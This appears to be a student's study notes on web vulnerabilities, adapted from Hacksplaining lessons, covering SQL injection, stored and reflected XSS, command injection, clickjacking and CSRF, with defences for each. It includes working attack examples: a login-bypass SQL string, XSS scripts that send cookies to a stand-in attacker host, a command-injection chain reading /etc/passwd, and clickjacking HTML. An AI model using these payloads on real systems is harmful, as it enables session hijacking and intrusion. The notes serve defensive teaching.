**Cyber sec vulnerabilities**

Table des matières

**Ch1 SQL injections1**

Ch 2 Cross site scripting vulnerabilities7

Ch 3 Command execution vulnerabilities11

**Ch 4 Click jacking14**

Ch 5 ***cross site request forgery*** 18

Ch 6 ***reflected XSS*** 20

**Ch 7 *File upload vulnerabilities* 24**

Ch 8 ***open redirect :*** 27

Ch 9 **unencrypted communication**29

**Ch 10 *user enumeration* 31**

Ch 11 ***Password mismanagement*** 34

**Ch 12 Email spoofing 38**

Ch 13  ***malvertising*** 40

Ch 14 ***logging and monitoring*** 42

**Ch 15 *buffer overflows* 47**

Ch 16 ***directory traversal*** 49

Ch 17 ***Dom-based XSS*** 52

**Ch 18 *Broken access control* 56**

Ch19 ***information leakage*** 58

Ch 20 ***Privilege escalation*** 63

**Ch 21 *Session fixation* 66**

Ch 22 ***weak session IDS :*** 67

Ch 23 ***XML bombs*** 76

**Ch 24 *XML external entities* 81**

Ch 25 ***denial of service attacks*** 84

Ch 26 ***Lax security settings*** 86

**Ch 27 *Toxic dependencies*** 88

**Ch 1 : SQL injection :**

First, a vulnerability in term of SQL injection means that attackers can run arbitrary commands against your database, most of the times, it happens when you have not secured your code with some practice while writing it or when there is a text field where the user can type malicious scripts.

For instance if you put a ‘ after your password, it is directly inserted into the SQL string and might mess with that by causing a syntax error. Which indicateds that there might be a vulnerability regarding SQL injection.

For instance :

**SELECT** \*

**FROM** users

**WHERE** email = 'user@email.com'

**AND** pass = '' **or** 1=1--' LIMIT 1

If you type ‘’ or 1=1—‘ in the password field, you gain access to the application. Why ? Because the – characters you entered causes the database to ignore the rest of the SQL statement, allowing you to be authenticated witjout having to supply the real password.

**What’s the worst thing that could happen when you suffer a SQL injection attack?**

Our [example hack](https://www.hacksplaining.com/exercises/sql-injection) showed you how to bypass the login page: a huge security flaw for a banking site. More complex attacks will allow an attacker to run arbitrary statements on the database. In the past, hackers have used injection attacks to:

* **Extract sensitive information**, like Social Security numbers, or credit card details.
* **Enumerate the authentication details of users registered on a website,** so these logins can be used in attacks on other sites.
* **Delete data or drop tables**, corrupting the database, and making the website unusable.
* **Inject further malicious code** to be executed when users visit the site.

**SQL injection attacks are astonishingly common.** Major companies like [Yahoo](http://www.cbsnews.com/news/yahoo-reportedly-hacked-is-your-account-safe) and [Sony](https://www.wired.com/2011/06/sony-lulzsec/) have had their applications compromised. In other cases, hacker groups targeted [specific applications](http://arstechnica.com/security/2015/02/more-than-1-million-wordpress-websites-imperiled-by-critical-plugin-bug" \t "_blank) or wrote scripts intended to [harvest authentication details](http://www.nytimes.com/2014/08/06/technology/russian-gang-said-to-amass-more-than-a-billion-stolen-internet-credentials.html" \t "_blank). Not even [security firms](http://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack) are immune!

**A) how to protect against SQL injection ?**

**Parameterized Statements**

Programming languages talk to SQL databases using **database drivers.** A driver allows an application to construct and run SQL statements against a database, extracting and manipulating data as needed. **Parameterized statements** make sure that the parameters (i.e. inputs) passed into SQL statements are treated in a safe manner.

For example, a secure way of running a SQL query in [JDBC](https://docs.oracle.com/javase/tutorial/jdbc/basics/index.html) using a parameterized statement would be:

// Define which user we want to find.

String email = "user@email.com";

// Connect to the database.

Connection conn = DriverManager.getConnection(URL, USER, PASS);

Statement stmt = conn.createStatement();

// Construct the SQL statement we want to run, specifying the parameter.

String sql = "SELECT \* FROM users WHERE email = ?";

// Run the query, passing the 'email' parameter value...

ResultSet results = stmt.executeQuery(sql, email);

**while** (results.next()) {

// ...do something with the data returned.

}

Contrast this to explicit construction of the SQL string, which is **very, very dangerous**:

// The user we want to find.

String email = "user@email.com";

// Connect to the database.

Connection conn = DriverManager.getConnection(URL, USER, PASS);

Statement stmt = conn.createStatement();

// Bad, bad news! Don't construct the query with string concatenation.

String sql = "SELECT \* FROM users WHERE email = '" + email + "'";

// I have a bad feeling about this...

ResultSet results = stmt.executeQuery(sql);

**while** (results.next()) {

// ...oh look, we got hacked.

}

The key difference is the data being passed to the executeQuery(...) method. In the first case, the parameterized string and the parameters are passed to the database separately, which allows the driver to correctly interpret them. In the second case, the full SQL statement is constructed before the driver is invoked, meaning we are vulnerable to maliciously crafted parameters.

*You should always use parameterized statements where available, they are your number one protection against SQL injection.*

**Object Relational Mapping**

Many development teams prefer to use **Object Relational Mapping (ORM)** frameworks to make the translation of SQL result sets into code objects more seamless. ORM tools often mean developers will rarely have to write SQL statements in their code – and these tools thankfully use parameterized statements under the hood.

The most well-known ORM is probably Ruby on Rails’ **Active Record** framework. Fetching data from the database using Active Record looks like this:

**def** current\_user(email)

# The 'User' object is an Active Record object, that has find methods

# auto-magically generated by Rails.

User.find\_by\_email(email)

**end**

Code like this is safe from SQL Injection attacks.

**Using an ORM does not automatically make you immune to SQL injection, however.** Many ORM frameworks allow you to construct SQL statements, or fragments of SQL statements, when more complex operations need to be performed on the database. For example, the following Ruby code is vulnerable to injection attacks:

**def** current\_user(email)

# This code would be vulnerable to a maliciously crafted email parameter.

User.where("email = '" + email + "'")

**end**

*As a general rule of thumb***:** if you find yourself writing SQL statements by concatenating strings, think very carefully about what you are doing.

**Escaping Inputs**

If you are unable to use parameterized statements or a library that writes SQL for you, the next best approach is to ensure proper escaping of special string characters in input parameters.

Injection attacks often rely on the attacker being able to craft an input that will prematurely close the argument string in which they appear in the SQL statement. (This is why you you will often see ' or " characters in attempted SQL injection attacks.)

Programming languages have standard ways to describe strings containing quotes within them – SQL is no different in this respect. Typically, doubling up the quote character – replacing ' with '' – means *“treat this quote as part of the string, not the end of the string”.*

Escaping symbol characters is a simple way to protect against most SQL injection attacks, and many languages have [standard functions](http://php.net/manual/en/mysqli.real-escape-string.php) to achieve this. There are a couple of drawbacks to this approach, however:

* *You need to be very careful to escape characters everywhere in your codebase where an SQL statement is constructed.*
* *Not all injection attacks rely on abuse of quote characters.* For example, when an numeric ID is expected in a SQL statement, quote characters are not required. The following code is still vulnerable to injection attacks, no matter how much you play around with quote characters:

**def** current\_user(id)

User.where("id = " + id)

**end**

Sanitizing Inputs

Sanitizing inputs is a good practice for all applications. In our [example hack](https://www.hacksplaining.com/exercises/sql-injection), the user supplied a password as ' or 1=1--, which looks pretty suspicious as a password choice.

Developers should always make an effort to reject inputs that look suspicious out of hand, while taking care not to accidentally punish legitimate users. For instance, your application may clean parameters supplied in [GET](https://www.hacksplaining.com/glossary/http#http-methods) and [POST](https://www.hacksplaining.com/glossary/http#http-methods) requests in the following ways:

* Check that supplied fields like email addresses match a regular expression.
* Ensure that numeric or alphanumeric fields do not contain symbol characters.
* Reject (or strip) out whitespace and new line characters where they are not appropriate.

*Client-side validation (i.e. in JavaScript) is useful for giving the user immediate feedback when filling out a form, but is no defense against a serious hacker. Most hack attempts are performed using scripts, rather than the browser itself.*

In php : good practice :

$statement = $dbh->prepare("select \* from users where email = ?");

$statement->execute(**array**(email));

other considerations

**Principle of Least Privilege**

Applications should ensure that each process or software component can access and affect only the resources it needs. Apply “levels of clearance” as appropriate, in the same way that only certain bank employees have access to the vault. Applying [restricted privileges](https://www.hacksplaining.com/glossary/principle-of-least-privilege) can help mitigate a lot of the risk around injection attacks.

It is rarely necessary for applications to change the structure of the database at run-time – typically tables are created, dropped, and modified during release windows, with temporarily elevated permissions. Therefore, it is good practice to reduce the permissions of the application at runtime, so it can at most edit data, but not change table structures. In a SQL database, this means making sure your production accounts can only execute [DML](https://www.hacksplaining.com/glossary/dml) statements, not [DDL](https://www.hacksplaining.com/glossary/ddl) statements.

With complex database designs, it can be worth making these permissions even more fine-grained. Many processes can be permissioned to perform data edits only through stored procedures, or to execute with read-only permissions.

Sensibly designing access management in this way can provide a vital second line of defense. No matter how the attacker gets access to your system, it can mitigate the type of damage they can possibly do.

**Password Hashing**

Our [example hack](https://www.hacksplaining.com/exercises/sql-injection) relied on the fact that the password was stored as plain-text in the database. In fact, storing unencrypted passwords is a major security flaw in itself. Applications should store user passwords as [strong, one-way hashes](https://www.hacksplaining.com/glossary/hashing), preferably [salted](https://www.hacksplaining.com/glossary/salting). This mitigates the risk of malicious users stealing credentials, or impersonating other users.

**Third Party Authentication**

As a final note, it is often worth considering out-sourcing the authentication workflow of your application entirely. Facebook, Twitter, and Google all provide mature [OAuth](https://www.hacksplaining.com/glossary/oauth) APIs, which can be used to let users log into your website using their existing accounts on those systems. This saves you as an application developer from rolling your own authentication, and assures your users that their passwords are only stored in a single location.

**Ch 2 : Cross site scripting**

Mainly, it is writing malicious scrip in JS within the comments section of a web site to, for instance, steal another user’s cookie, to hijack the session.

Instance :

<script > window.Location = « haxxed.com ? cookie= ‘ + document.cookie </script>

**A) How to protect users against cross site scripting ?**

What could a determined hacker do when exploiting a XSS vulnerability?

XSS allows arbitrary execution of JavaScript code, so the damage that can be done by an attacker depends on the sensitivity of the data being handled by your site. Some of the things hackers have done by exploiting XSS:

* Spreading [worms](https://www.hacksplaining.com/glossary/worms) on social media sites. Facebook, Twitter and YouTube have all been successfully attacked in this way.
* Session hijacking**.** Malicious JavaScript may be able to send the session ID to a remote site under the hacker’s control, allowing the hacker to impersonate that user by hijacking a session in progress.
* Identity theft. If the user enters confidential information such as credit card numbers into a compromised website, these details can be stolen using malicious JavaScript.
* [Denial of service attacks](https://www.hacksplaining.com/glossary/denial-of-service-attacks)**and website vandalism.**
* Theft of sensitive data, like passwords.
* Financial fraud on banking sites.

protection

To protect against stored XSS attacks, make sure any dynamic content coming from the data store cannot be used to inject JavaScript on a page.

Escape Dynamic Content

Web pages are made up of HTML, usually described in template files, with dynamic content woven in when the page is rendered. **Stored XSS attacks** make use of the improper treatment of dynamic content coming from a backend data store. The attacker abuses an editable field by inserting some JavaScript code, which is evaluated in the browser when another user visits that page.

Unless your site is a content-management system, it is rare that you want your users to author raw HTML. Instead, you should **escape** all dynamic content coming from a data store, so the browser knows it is to be treated as the contents of HTML tags, as opposed to raw HTML.

Escaping dynamic content generally consists of replacing significant characters with the HTML entity encoding:

|  |  |
| --- | --- |
| " | **&#34** |
| # | **&#35** |
| & | **&#38** |
| ' | **&#39** |
| ( | **&#40** |
| ) | **&#41** |
| / | **&#47** |
| ; | **&#59** |
| < | **&#60** |
| > | **&#62** |

Most modern frameworks will escape dynamic content by default – see the [code samples below](https://www.hacksplaining.com/prevention/xss-stored#code-samples) for details.

Escaping editable content in this way means it will never be treated as executable code by the browser. This closes the door on most XSS attacks.

**Whitelist Values**

If a particular dynamic data item can only take a handful of valid values, the best practice is to restrict the values in the data store, and have your rendering logic only permit known good values. For instance, instead of asking a user to type in their country of residence, have them select from a drop-down list.

**Implement a Content-Security Policy**

Modern browsers support [Content-Security Policies](http://www.html5rocks.com/en/tutorials/security/content-security-policy/) that allow the author of a web-page to control where JavaScript (and other resources) can be loaded and executed from. XSS attacks rely on the attacker being able to run malicious scripts on a user’s web page - either by injecting inline <script> tags somewhere within the <html> tag of a page, or by tricking the browser into loading the JavaScript from a malicious third-party domain.

By setting a content security policy in the response header, you can tell the browser to never execute inline JavaScript, and to lock down which domains can host JavaScript for a page:

|  |
| --- |
| **Content-Security-Policy: script-src 'self' https://apis.google.com** |
| By whitelisting the URIs from which scripts can be loaded, you are implicitly stating that inline JavaScript is **not** allowed. |

The content security policy can also be set in a <meta> tag in the <head> element of the page:

<meta **http-equiv**="Content-Security-Policy" **content**="script-src 'self' https://apis.google.com">

This approach will protect your users very effectively! However, it may take a considerable amount of discipline to make your site ready for such a header. Inline scripts tags are considered bad practice in modern web-development - mixing content and code makes web-applications difficult to maintain - but are common in older, legacy sites.

To migrate away from inline scripts incrementally, consider makings use of [CSP Violation Reports](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Using_CSP_violation_reports). By adding a report-uri directive in your policy header, the browser will notify you of any policy violations, rather than preventing inline JavaScript from executing:

|  |
| --- |
| **Content-Security-Policy-Report-Only: script-src 'self'; report-uri http://example.com/csr-reports** |

This will give you reassurance that there are no lingering inline scripts, before you ban them outright.

**Sanitize HTML**

Some sites have a legitimate need to store and render raw HTML, especially now that [contentEditable](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Content_Editable" \t "_blank) has become part of the [HTML5 standard](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/HTML5). If  
your site stores and renders rich content, you need to use a HTML sanitization library to ensure malicious users cannot inject scripts in their HTML submissions.

code samples

Preventing XSS vulnerabilities requires using the right code libraries, and performing thorough code reviews. Below are some examples of what to look out for when checking your code.

The [echo](http://php.net/manual/en/function.echo.php" \t "_blank) command **does not** escape HTML by default, which means that any code like the following, which pulls data directly out of the HTTP request, is vulnerable to XSS attacks:

<?php

**echo** $\_POST["comment"];

?>

Be sure to use the [strip\_tags](http://php.net/strip_tags" \t "_blank) function or the [htmlspecialchars](http://php.net/htmlspecialchars" \t "_blank) function to safely escape parameters:

<?php

**echo** strip\_tags($\_POST["comment"]);

?>

other considerations

**HTTP-only Cookies**

Our [example hack](https://www.hacksplaining.com/exercises/xss-stored) shows how a session-hijacking attack can use malicious JavaScript to steal the cookie containing the user’s session ID. There is rarely a good reason to read or manipulate cookies in client-side JavaScript, so consider marking cookies as [HTTP-only](http://en.wikipedia.org/wiki/HTTP_cookie#HttpOnly_cookie), meaning that cookies will be received, stored, and sent by the browser, but cannot be modified or read by JavaScript.

***Ch 3 : command execution vulerabilities***

Command execution lines are called when the application needs to communicate with the OS so it better be well secured. In fact, many websites make use of command line calls to read files, send emails, and perform other native operations. If your site transforms untrusted input into shell commands, you need to take care to sanitize the input.   
  
If those operations are not done, a hacker might use http requests and execute whatever command they want. For instance, imagine you run a simple site that performs DNS lookups : use the DNS lookup tool to find the IP address of a certain domain name. To clarify, the results will include the IP addresses in the DNS records received from the name servers.

**How DNS Lookup Works**

The Domain Name System, otherwise known as DNS, is a key component of the Internet. To clarify, DNS is the resolution of a domain name to an IP address. For instance, you are running a simple site that performs DNS lookups. And, your site shells out to the ‘nslookup’ command and then print the result.

<?php

**if** (**isset**($\_GET['domain'])) {

**echo** '<pre>';

$domain = $\_GET['domain'];

$lookup = system("nslookup {$domain}");

**echo**($lookup);

**echo** '</pre>';

}

?>

Notice how the 'domain' parameter is taken in from the GET request, and immediately interpolated into a command string.

The hacker noticed that the domains is passed in the query string under the ‘domain’ parameter.

Server: 192.168.1.1

Address: 192.168.1.1#53

Non-authoritative answer:

Name: google.com

Address: 216.58.192.14

The hacker than guesses that the IP lookup is performed vi an operating system function and attempts to tag on an extra command on the end.   
  
extra command : google.com && ecl. The operation was sucessfull since the output of his echo command can be seen on the web page. This demonstrates that the site is vulnerable to command execution because now the hacker has a mechanism to execute code on the server.   
  
google.com && cat/etc/passwd allow to read sensitive file on the server.

**A) how to protect against command execution attacks**

If an attacker can execute arbitrary code on your servers, your systems are almost certainly going to be compromised. You need to take great care when designing how your web server interacts with the underlying operating system.

risks

**Remote code execution** is a major security lapse, and the last step along the road to complete system takeover. After gaining access, an attacker will attempt to escalate their privileges on the server, install malicious scripts, or make your server part of a [botnet](https://www.hacksplaining.com/glossary/botnets) to be used at a later date.

**Command injection vulnerabilities often occur in older, legacy code, such as CGI scripts.**

protection

If your application calls out to the operating system, you need to be sure command strings are securely constructed, or else you risk having malicious instructions injected by an attacker. This section outlines a few approaches to protecting yourself.

Try to Avoid Command Line Calls Altogether

Modern programming languages have interfaces that permit you to read files, send emails, and perform other operation system functions. **Use APIs wherever possible –** only use shell commands where absolutely necessary. This will reduce the number of attack vectors in your application, and will also simplify your codebase.

Escape Inputs Correctly

**Injection vulnerabilities occur when untrusted input is not sanitized correctly.** If you use shell commands, be sure to scrub input values for potentially malicious characters:

|  |
| --- |
| ; |
| & |
| | |
| ` |

Even better, restrict input by testing it against a regular expression of known safe characters. (For example, alphanumeric characters.)

Restrict the Permitted Commands

Try to construct all or most of your shell commands using string literals, rather than user input. Where user input is required, try to whitelist permitted values, or enumerate them in a conditional statement.

Perform Thorough Code Reviews

Check system calls for vulnerabilities as a part of your code review process. Vulnerabilities often creep in over time – make sure your team knows what to look for.

Run with Restricted Permissions

It is a good practice to run your server processes with only the permissions that they require to function – the [principle of least privilege](https://www.hacksplaining.com/glossary/principle-of-least-privilege). This can help limit the impact of command injection vulnerabilities as a second line of defense.

Make sure each web server process can only access the directories that it needs, and narrow down the directories in which they write or execute files. Consider running the process in a **chroot jail** if you are running on Unix. This will limit the ability of maliciously injected code to “climb out” of a directory.

code samples

The code samples below illustrate how to safely make command-line calls in various languages.

Making command-line calls in PHP is fairly common, and there are a number of ways to make them:

shell\_exec "ls -l"

exec "ls -l"

passthru "ls -l"

system "ls -l"

`ls -l`

***Ch 4 : the click jacking***When you are developing a software or coding an application, you need to make sure your users arent having their clicks stoler by attackers. Actualy, click jacking is a method of tricking website user sinto clicking on a harmful link, by disguising the link as something else.

Here’s the website enclosed in an Iframe :   
  
<html>

<head>

<style>

body {

**position**: relative;

**margin**: 0;

}

iframe {

**border**: none;

**position**: absolute;

**width**: 100%;

**height**: 100%;

}

</style>

</head>

<body>

<iframe **src**="www.kittens.com/vacuum-revenge">

</iframe>

</body>

</html>

Next, the attackers adds a transparent div on top of the iframe with a higher z-index code.   
  
div {

**z-index**: 100;

}

And then wrap that div in a link tag :   
  
<html>

<head>

<style>

body {

**position**: relative;

**margin**: 0;

}

iframe, div, a {

**border**: none;

**position**: absolute;

**width**: 100%;

**height**: 100%;

}

div {

**z-index**: 100;

}

a {

**display**: block;

}

</style>

</head>

<body>

<iframe **src**="www.kittens.com/vacuum-revenge">

</iframe>

<div>

&lt;a href=&quot;https://www.facebook.com/sharer/sharer.php?u=http%3A%2F%2Fwww.fakewebsite.com&quot;&gt;&lt;/a&gt;

</div>

</body>

</html>

Now, any users that wants to view the video can be tricked into performing any action the attacker intends, even potentially harmful ones, like downloading malware or being taken to online scams.   
  
**A) how to protect users against clickjacking**

**Clickjacking** attacks trick web users into performing an action they did not intend, typically by rendering an invisible page element on top of the action the user thinks they are performing.

**Clickjacking won’t affect your site directly, but it could potentially affect your users. And only you can protect them!**

**What could a determined hacker do with a clickjacking attack?**

Our [example hack](https://www.hacksplaining.com/exercises/click-jacking) tricked the user into “Liking” an item on Facebook. Clickjacking has also been used in the past to:

* **Harvest login credentials**, by rendering a fake login box on top of the real one.
* **Trick users into turning on their web-cam or microphone**, by rendering invisible elements over the Adobe Flash settings page.
* **Spread [worms](https://www.hacksplaining.com/glossary/worms) on social media sites** like Twitter and MySpace.
* **Promote online scams** by tricking people into clicking on things they otherwise would not.
* **Spread malware** by diverting users to malicious download links.

protection

Clickjacking attacks wrap a page the user trusts in an iframe, then renders invisible elements on top of the frame. To ensure that your site doesn’t get used in a clickjacking attack, you need to make sure it cannot be wrapped in an iframe by a malicious site. This can be done by giving the browser instructions directly via **HTTP headers**, or in older browser by using client-side JavaScript (**frame-killing**).

X-Frame-Options

The X-Frame-Options [HTTP header](https://www.hacksplaining.com/glossary/http) can be used to indicate whether or not a browser should be allowed to render a page in a <frame>, <iframe> or <object> tag. It was designed specifically to help protect against clickjacking.

There are three permitted values for the header:

|  |  |
| --- | --- |
| **DENY** | The page cannot be displayed in a frame, regardless of the site attempting to do so. |
| **SAMEORIGIN** | The page can only be displayed in a frame on the same origin as the page itself. |
| **ALLOW-FROM \*uri\*** | The page can only be displayed in a frame on the specified origins. |

**Content Security Policy**

The Content-Security-Policy [HTTP header](https://www.hacksplaining.com/glossary/http) is part of the [HTML5](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/HTML5) standard, and provides a broader range of protection than the X-Frame-Options header (which it replaces). It is designed in such a way that website authors can whitelist individual domains from which resources (like scripts, stylesheets, and fonts) can be loaded, and also domains that are permitted to embed a page.

To control where your site can be embedded, use the frame-ancestors directive:

|  |
| --- |
| **Content-Security-Policy: frame-ancestors 'none'** |
| The page cannot be displayed in a frame, regardless of the site attempting to do so. |
|  |
| **Content-Security-Policy: frame-ancestors 'self'** |
| The page can only be displayed in a frame on the same origin as the page itself. |
|  |
| **Content-Security-Policy: frame-ancestors \*uri\*** |
| The page can only be displayed in a frame on the specified origins. |

Frame-Killing

In older browsers, the most common way to protect users against clickjacking was to include a frame-killing JavaScript snippet in pages to prevent them being included in foreign iframes:

<style>

/\* Hide page by default \*/

html { **display** : none; }

</style>

<script>

**if** (self == top) {

// Everything checks out, show the page.

document.documentElement.style.display = 'block';

} **else** {

// Break out of the frame.

top.location = self.location;

}

</script>

**An example frame-killing script:** when the page loads, this code will check that the domain of the page matches the domain of the browser window, which will not be true when the page is embedded in an iframe.

Most sites don’t need to be embedded in iframes, so a frame-killing script is easy to implement. If embedding is required in your application, consider adding a whitelist of domains, so you have control over where your content is embedded.

Frame-killing offers a large degree of protection against clickjacking, but it can be error-prone. Be sure to set appropriate HTTP headers as the first recourse in protecting your site.

code samples

The code samples below illustrate how to implement frame-killing in JavaScript, and how to set the HTTP headers mentioned above in various languages and web frameworks.

***Ch 5 :*** ***cross site request forgery***

If an attacker can forge http requests to your site, they may be able to trick your user sinto triggering unintended actions.

When creating a website, we tend to code the client side and the server side together. We build the pages and forms a user will interact with on the client-side, then build the server side URLs that respons when the user performs an action. On the other hand, requests can be triggered to the server side code from anywhere, not just the client side code we write. This is one of the most powerful aspects of how internet is designed : it allows linking between sites. But it is also the cause of a common security flaw : CROSS SITE REQUEST FORGERY or CSRF.   
  
In general, those attack occur when a user is tricked into interacting with a page or script on a third party site that generates a malicious request to YOUR site. All your server will see is an http request from an authenticated user. However, an attacker takes control over the form of the data sent in the request to cause mischief.   
  
For instance, youre running the micro blogging service that allows your user to tweep their opinions at each other in 140 char sized chunks. A hacker might have noticed that posts on your service are created using GET requests, this means that all the information is carried in the URL of the http request.   
  
The attacker is gonna modifying the post creation URL to include a malicious payload. Now he has to find some way to get a victim to visit the URL in their browser. For instance, the hacker send Vika an email with a very tempting link, pointig to the crafted URL.   
  
Vika clicked on the link and now the server interprets the request as a Vic writing a post and creates a new item on his timeline. This is not the action that Vic intended but hem ay not quite have noticed what just occured.   
  
The post is designed to be enticing enough that other users of your site will click on it. When they do, they will be tricked in the same way Vika was. Now, there is a worm on the site as each user who clicks the link will open up a new set of potential victims ….   
  
**A) how to protect against CSRF ?**Risks are prevalence is common, easy to exploit and have a medium harmful impact.

CSRF attacks in the past have been used to:

* [Steal confidential data.](http://www.darkreading.com/attacks-breaches/hacker-steals-data-on-18m-auction-customers-in-south-korea/d/d-id/1129325?)
* [Spread worms on social media.](https://news.softpedia.com/news/CSRF-Worm-Released-on-Twitter-158085.shtml)
* [Install malware on mobile phones.](https://www.checkmarx.com/2014/11/06/samsung-csrf-vulnerability/)

It is hard to estimate the prevalence of CSRF attacks; often the only evidence is the malicious effects caused by the attack. CSRF is routinely described as one of the top-ten security vulnerabilities by [OWASP](https://www.hacksplaining.com/glossary/owasp).

protection

Websites consist of a combination of client-side and server-side code. The client-side code is HTML and JavaScript that is rendered by and executed in the browser. This allows users to navigate to other URLs on your site, submit HTML forms to the server, and trigger AJAX requests via JavaScript. Your server-side code will intercept the data sent in the HTTP request, and act upon it appropriately.

**These server-side actions can also be triggered by forged HTTP requests, unless you explicitly put in protective measures.** A CSRF attack occurs when a malicious actor tricks a victim into clicking on a link, or running some code, that triggers a forged request. (This malicious code is typically hosted on a website owned by the attacker, on another domain – hence the “cross-domain” denomination.)

Protecting against CSRF (commonly pronounced “sea-surf”) requires two things: ensuring that GET requests are side-effect free, and ensuring that non-GET requests can only be originated from your client-side code.

**REST**

[Representation State Transfer (REST)](https://www.hacksplaining.com/glossary/rest) is a series of design principles that assign certain types of action (view, create, delete, update) to different [HTTP verbs](https://www.hacksplaining.com/glossary/http). Following REST-ful designs will keep your code clean and help your site scale. Moreover, REST insists that GET requests are used only to view resources. Keeping your GET requests side-effect free will limit the harm that can be done by maliciously crafted URLs–an attacker will have to work much harder to generate harmful POST requests.

**Anti-Forgery Tokens**

Even when edit actions are restricted to non-GET requests, you are not entirely protected. POST requests can still be sent to your site from scripts and pages hosted on other domains. In order to ensure that you only handle valid HTTP requests you need to include a **secret** and **unique** token with each HTTP response, and have the server verify that token when it is passed back in subsequent requests that use the POST method (or any other method except GET, in fact.)

This is called an **anti-forgery** token. Each time your server renders a page that performs sensitive actions, it should write out an anti-forgery token in a hidden HTML form field. This token must be included with form submissions, or AJAX calls. The server should validate the token when it is returned in subsequent requests, and reject any calls with missing or invalid tokens.

Anti-forgery tokens are typically (strongly) random numbers that are stored in a cookie or on the server as they are written out to the hidden field. The server will compare the token attached to the inbound request with the value stored in the cookie. If the values are identical, the server will accept the valid HTTP request.

Most modern frameworks include functions to make adding anti-forgery tokens fairly straightforward. See the [code samples](https://www.hacksplaining.com/prevention/csrf#code-samples) below.

Ensure Cookies are sent with the SameSite Cookie Attribute

The Google Chrome team added a new attribute to the Set-Cookie header to help prevent CSRF, and it quickly became supported by the other browser vendors. The Same-Site cookie attribute allows developers to instruct browsers to control whether cookies are sent along with the request initiated by third-party domains.

Setting a Same-Site attribute to a cookie is quite simple:

**Set-Cookie**: CookieName=CookieValue; SameSite=Lax;

**Set-Cookie**: CookieName=CookieValue; SameSite=Strict;

A value of Strict will mean than any request initiated by a third-party domain to your domain will have any cookies stripped by the browser. This is the most secure setting, since it prevents malicious sites attempting to perform harmful actions under a user’s session.

A value of Lax permits GET request from a third-party domain to your domain to have cookies attached - but only GET requests. With this setting a user will not have to sign in again to your site if the follow a link from another site (say, Google search results). This makes for a friendlier user-experience - but make sure your GET requests are side-effect free!

Include Addition Authentication for Sensitive Actions

Many sites require a secondary authentication step, or require re-confirmation of login details when the user performs a sensitive action. (Think of a typical password reset page – usually the user will have to specify their old password before setting a new password.) Not only does this protect users who may accidentally leave themselves logged in on publicly accessible computers, but it also greatly reduces the possibility of CSRF attacks.

[OWASP](https://wiki.owasp.org/index.php/PHP_CSRF_Guard) has a description of how to implement CSRF protection in PHP.

***Ch 6 : reflected XSS***When youre a building a website, you need to be sure you do not accidentally create a channel that allows malicious javaScript to be bounced off your server. A « reflected » cross site scripting attack. In the previous chapter, weve seen the XSS attack wich allow hackers to store malicious JS in your database which will be executed when other users view your site.   
  
For instance, if your website takes any part of the http request from a user and displays it back to them, you could be enabling another vector by which a malicious third party could inject javascript.   
  
Are the search terms escaped properly in the text field ? To test that, for instance, type search = taco at the end of the url on a restaurant website for instancE.   
  
[www.welp.com?search=taco](http://www.welp.com?search=taco)  
  
www.welp.com?search=**<script>window.location="http://www.haxxed.com?cookie="+document.cookie</script>**

Now, the hacker has to trick someone ( Vika) to click his malicious link ( for instance through a pishing email). When Vika has clicked on the link, the page renders the search parameter in the HTML without escaping it properly, which creates a new <script> tag on the page.   
  
WEBPAGE HTML

<div **class**="search-terms">

Search results for "<script>

window.location="http://www.haxxed.com?cookie="+document.cookie

</script>"

</div>

<h6>No results found</h6>

The hacker can now checks his server log and hijack vics session since the malicious redirect passed his session ID in the URL.   
  
**SERVER LOGS**

http://www.haxxed.com?cookie=asdfefefffasdfCsdfnE

http://www.haxxed.com?cookie=engkelfiAnlJreklfNkl

http://www.haxxed.com?cookie=SneklfjsdkleekflaAne

http://www.haxxed.com?cookie=asFFEfn222fefeknladf

**A) how to protect against reflected XSS ?   
  
protecting your users against reflected xss**

**Cross-site scripting** (XSS) is one the most common ways hackers attack websites. XSS vulnerabilities permit a malicious user to execute arbitrary chunks of JavaScript when other users visit your site.

**XSS is the most common publicly reported security vulnerability, and part of every hacker’s toolkit.**

Reflected XSS attacks are less dangerous than [stored XSS attacks](https://www.hacksplaining.com/exercises/xss-stored), which cause a persistent problem when users visit a particular page, **but are much more common**. Any page that takes a parameter from a GET or POST request and displays that parameter back to the user in some fashion is potentially at risk. A page that fails to treat query string parameters as untrusted content can allow the construction of malicious URLs. An attacker will spread these malicious URLs in emails, in comments sections, or in forums. Since the link points at a site the user trusts, they are much more likely to click on it, not knowing the harm that it will do.

Reflected XSS vulnerabilities are easy to overlook in your code reviews, since the temptation is to only check code that interacts with the data store. Be particularly careful to check the following types of pages:

* **Search results** - does the search criteria get displayed back to the user? Is it written out in the page title? Are you sure it is being escaped properly?
* **Error pages** - if you have error messages that complain about invalid inputs, does the input get escaped properly when it is displayed back to the user? Does your 404 page mention the path being searched for?
* **Form submissions** - if a page POSTs data, does any part of the data being submitted by the form get displayed back to the user? What if the form submission is rejected – does the error page allow injection of malicious code? Does an erroneously submitted form get pre-populated with the values previously submitted?

Our [example hack](https://www.hacksplaining.com/exercises/xss-reflected) demonstrated a maliciously crafted GET request. However, POST requests should be treated with similar caution. If you don’t protect against [cross-site request forgery](https://www.hacksplaining.com/exercises/csrf), attackers can easily construct malicious POST requests. And even if you do protect against CSRF, attackers will often use a combination of vulnerabilities to construct poisoned POST requests.

protection

To protect against reflected XSS attacks, make sure that any dynamic content coming from the HTTP request cannot be used to inject JavaScript on a page.

**Be sure to check all pages on your site, whether they write to the data store or not!**

Escape Dynamic Content

Web pages are made up of HTML, usually described in template files, with dynamic content woven in when the page is rendered. **Stored** XSS attacks make use of the improper treatment of dynamic content coming from a backend data store. The attacker abuses an editable field to insert some JavaScript code, and it is evaluated on page load.

Unless your site is a content-management system, it is rare that you want your users to author raw HTML. Instead, you should **escape** all dynamic content coming from a data store, so the browser knows it is to be treated as the contents of HTML tags, as opposed to raw HTML.

Escaping dynamic contents generally consists of replacing significant characters with the HTML entity encoding:

|  |  |
| --- | --- |
| " | **&#34** |
| # | **&#35** |
| & | **&#38** |
| ' | **&#39** |
| ( | **&#40** |
| ) | **&#41** |
| / | **&#47** |
| ; | **&#59** |
| < | **&#60** |
| > | **&#62** |

Most modern frameworks will escape dynamic content by default – see the [cross-site scripting exercise](https://www.hacksplaining.com/prevention/xss-stored#code-samples) for details.

